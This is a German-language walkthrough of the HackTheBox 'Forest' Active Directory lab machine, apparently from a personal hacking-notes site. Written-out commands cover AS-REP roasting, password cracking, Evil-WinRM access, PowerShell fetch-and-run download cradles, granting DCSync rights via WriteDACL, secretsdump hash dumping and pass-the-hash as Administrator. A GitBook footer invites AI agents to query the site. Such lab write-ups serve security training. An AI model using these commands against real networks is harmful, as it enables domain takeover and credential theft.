> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md).

# Forest HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/212>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* AXFR - Domain-Zonentransfer-Angriff (fehlgeschlagen)
* RPC-Aufzählung - Gültige Domänenbenutzer ermitteln
* Durchführung eines AS-RepRoast-Angriffs mit den ermittelten Benutzern
* Hashes knacken
* WinRM ausnutzen - EvilWinRM
* LDAP-Aufzählung - ldapdomaindump
* BloodHound-Aufzählung
* Systeminformationen mit SharpHound.ps1 sammeln - PuckieStyle
* Daten in BloodHound darstellen und visualisieren
* Einen Angriffsvektor in BloodHound finden
* Ausnutzen der Gruppe Account Operators - Einen neuen Benutzer erstellen
* Ausnutzen der Gruppe Account Operators - Dem neu erstellten Benutzer eine Gruppe zuweisen
* Ausnutzen von WriteDacl in der Domäne - DCSync-Berechtigungen gewähren
* DCSync-Ausnutzung - Secretsdump.py
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/8f772135b3ddc1783816ce6d264d3d7cd2640762" alt=""><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/e1a9f4ae32c4556719b43dc15b1137404325df22" alt=""><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts
```

<figure><img src="/files/3c291cba7a30fa9253401798ba550599ca1a094a" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**/ Mit der extractport-Funktion offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

<figure><img src="/files/e6d6a4a7bdae733153c1d8f2f1a66d25e2039f3a" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap :**/ Nmap verwenden, um Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted
```

<figure><img src="/files/5533dd1b6b8e246e3d4cd72231471be247960fe9" alt=""><figcaption></figcaption></figure>

## **Auflistung und Bedienung:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### **SMB-Aufklärung:** <a href="#reconnaissance-smb" id="reconnaissance-smb"></a>

CrackMapExec verwenden, um das Betriebssystem zu identifizieren

```bash
crackmapexec cmb 10.10.10.161
```

<div data-full-width="true"><figure><img src="/files/4aec0270b336534e532cb31616b7b748bfe64bd1" alt=""><figcaption></figcaption></figure></div>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in den `/etc/hosts` vorhandenen Benutzern.

<figure><img src="/files/adddf2457775b24bbf58cbfcc138ffeec22e9057" alt=""><figcaption></figcaption></figure>

/*/Erkundung von SMB-Freigaben im Netzwerk, um freigegebene Ressourcen zu identifizieren, jedoch ohne Ergebnis. //*

```bash
crackmapexec smb 10.10.10.161 --shares
```

```bash
smbclient -L 10.10.10.161 -N
```

<figure><img src="/files/c9c4ed9ddf2ce175c9d86030d9602e67c17087ee" alt=""><figcaption></figcaption></figure>

### **RPC-Aufklärung:** <a href="#reconnaissance-rpc" id="reconnaissance-rpc"></a>

Verwendung von rpcclient zur Interaktion mit CPP-Diensten und zum Sammeln von Ressourceninformationen

```bash
rpccclient -U "" 10.10.10.161 -N
enumdomusers
```

<figure><img src="/files/db8feb9a35a8899acc6fe55c4b5883b28d9b08bf" alt=""><figcaption></figcaption></figure>

#### Die Gruppen auflisten:

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups'
```

<figure><img src="/files/0b794f165c27985ce25df41d71a9fce90e91171f" alt=""><figcaption></figcaption></figure>

## ASREPRoast-Angriff:

#### Mit einer Liste gültiger Benutzer führen wir einen AS-RepRoast-Angriff durch, da wir keine Benutzerpasswörter benötigen.

Wir werden `grep` um Benutzernamen zu filtern und diese Daten dann in eine Datei einzufügen

```bash
rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users
```

<figure><img src="/files/ba449e01ef93e1cf7b9f8a5ccfb5a1af1ed3ecb6" alt=""><figcaption></figcaption></figure>

#### Wir verwenden das Tool GetNPUsers.py, um Benutzerinformationen ohne Passwort zu extrahieren:

```bash
GetNPUsers.py htb.local/ -no-pass -usersfile users
```

<figure><img src="/files/2e1c33aa4bf3d299aa5e7a5c85a3ae931f64cf94" alt=""><figcaption></figcaption></figure>

#### Wir erhalten den Hash des Benutzerpassworts "lucinda" und versuchen, ihn mit John the Ripper mithilfe einer vordefinierten Passwortliste zu knacken:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/0935045585d07f4ee637344b5d2db594d4de8164" alt=""><figcaption></figcaption></figure>

#### Wir verwenden CrackMapExec, um zu prüfen, ob das geknackte Passwort korrekt ist, indem wir eine WinRM-Verbindung versuchen:

```bash
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<div data-full-width="true"><figure><img src="/files/677b406996f1e4acb0c833bf503080d1434555b1" alt=""><figcaption></figcaption></figure></div>

#### Schließlich verwenden wir Evil-WinRM, um uns mit den geknackten Anmeldedaten mit dem Remote-System zu verbinden:

```bash
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
```

<figure><img src="/files/0f1f754d46e1c047258db4c15b840711cea0b875" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation:

### Domänenaufzählung mit BloodHound <a href="#domain-enumeration-with-bloodhound" id="domain-enumeration-with-bloodhound"></a>

<details>

<summary>Installation von BloodHound:</summary>

```
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

/*/Bei BloodHound mit den Anmeldedaten neo4j:neo4j anmelden. //*

![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74)

**BloodHound wird gestartet.**

```bash
bloodhound &> /dev/null & disown
```

</details>

<figure><img src="/files/109f8ddc0f2821f7dff7e9261cc444e85038e294" alt=""><figcaption></figcaption></figure>

### Informationen mit SharpHound.ps1 sammeln <a href="#collect-information-with-sharphound.ps1" id="collect-information-with-sharphound.ps1"></a>

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

### Die gesammelten Daten auf einen Linux-Server übertragen.

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1')
```

<figure><img src="/files/1a6cc18e91c48ea2d9fd71d1edf218e67e30e33b" alt=""><figcaption></figcaption></figure>

```bash
Invoke-BloodHound -CollectionMethod All
```

<figure><img src="/files/235abbbcdca4dca0d091ae1b67394a2de41b6a61" alt=""><figcaption></figcaption></figure>

#### Wir übertragen die ZIP-Datei an unser Team.

```bash
download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip
```

<figure><img src="/files/bf07af74afdedb324412f3cc911e4dc03a082a14" alt=""><figcaption></figcaption></figure>

/*/ZIP-Datei in BloodHound importieren. //*

<figure><img src="/files/f3ceeb80cb63da60fe6033ead10d85c784ea1388" alt=""><figcaption></figcaption></figure>

### BloodHound-Analyse und -Operationen <a href="#analyse-et-exploitation" id="analyse-et-exploitation"></a>

#### Daten filtern, um den kürzesten Pfad zum Domänenadministrator zu finden.

<div data-full-width="true"><figure><img src="/files/7a88fa4ec14f28087111641b16f9d11873c3e2c8" alt=""><figcaption></figcaption></figure></div>

#### Identifizierung der Zugehörigkeit zu einer potenziell problematischen Gruppe (Account Operator).

<div data-full-width="true"><figure><img src="/files/fabfbbfa71df7475da0acd4e2ef3b4f09b735fc5" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/8959ee5340c37d52abc08193c8a94670b34cee95" alt=""><figcaption></figcaption></figure></div>

#### Die Benutzererstellungsfunktion nutzen, um einen DCSync-Angriff vorzubereiten.

```bash
net user jordanmacia password123$ /add /domain
```

<figure><img src="/files/b6415b794f5af38e487bbc1e955371818202da17" alt=""><figcaption></figcaption></figure>

### DCSync-Versuch ohne ausreichende Rechte

```bash
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/206b983d3e0baeb909028fa3ae98e6b5b91a5f71" alt=""><figcaption></figcaption></figure>

#### Benutzer zu einer Gruppe mit höheren Berechtigungen hinzugefügt (`Exchange Windows Permissions`).

<figure><img src="/files/782d6424c8f96e33a34e227378dab5074f685d73" alt=""><figcaption></figcaption></figure>

```bash
net group "Exchange Windows Permissions" jordanmacia /add
```

<figure><img src="/files/618d48e82315a8b9dc3bbca098a3ced8ccad27ed" alt=""><figcaption></figcaption></figure>

### WriteDACL-Angriff:

<figure><img src="/files/4124c0e78b5685c6af19858e538ea98139274681" alt=""><figcaption></figcaption></figure>

```bash
$SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword)
```

Vorbereitung des WriteDACL-Angriffs mit PowerView\.ps1, um Funktionen hinzuzufügen.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>" %}

<figure><img src="/files/3c8015a4add92191541346500cbe1a776973113e" alt=""><figcaption></figcaption></figure>

#### Datei übertragen

```
python3 -m http.server 80
```

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')"
```

## Verwundbarkeit für den DCSync-Angriff <a href="#dcsync-attack-vulnerability" id="dcsync-attack-vulnerability"></a>

#### Führen Sie den Befehl Add-DomainObjectAcl aus, um die Hashes zu erhalten.

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync
```

#### Impacket verwenden, um mit dem Benutzer jordanmacia Hashes zu extrahieren.

```
impacket-secretsdump htb.local/jordanmacia@10.10.10.161
```

<figure><img src="/files/25d0de4ce6125dbd8cf6a65280cf379a8be7c933" alt=""><figcaption></figcaption></figure>

### Pass-the-Hash-Angriff:

Den NT-Hash des Administrators für den Pass-the-Hash-Angriff verwenden.

```bash
evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

#### Zugriff auf das System mit Administratorrechten.

<figure><img src="/files/bd150d77d8fa2376ac2893b232cdef273ee4783b" alt=""><figcaption></figcaption></figure>

### Finale Flagge :)

<figure><img src="/files/13aa10d2e671048182df1c51b167d5905249f957" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/43544e7596ebb35300bdc47486d76c11b6776378" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
